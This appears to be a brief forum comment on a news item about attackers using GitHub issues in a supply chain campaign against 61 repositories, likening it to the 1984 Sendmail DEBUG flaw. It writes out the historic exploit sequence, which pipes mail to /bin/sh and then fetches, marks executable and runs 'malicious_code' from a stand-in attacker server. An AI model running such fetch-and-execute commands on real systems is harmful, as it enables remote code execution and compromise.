Attackers turn GitHub issues into supply chain campaign against 61 public repos

Those who don't understand shell execution vulnerabilities in 1984 Sendmail are condemned to repeating them:

  telnet victim-server 25
  DEBUG
  MAIL FROM:<attacker@domain.com>
  RCPT TO:<| /bin/sh>
  DATA
  cd /tmp
  ftp attacker_server
  get malicious_code
  chmod +x malicious_code
  ./malicious_code

Source: https://www.radware.com/blog/inside-a-github-supply-chain-at...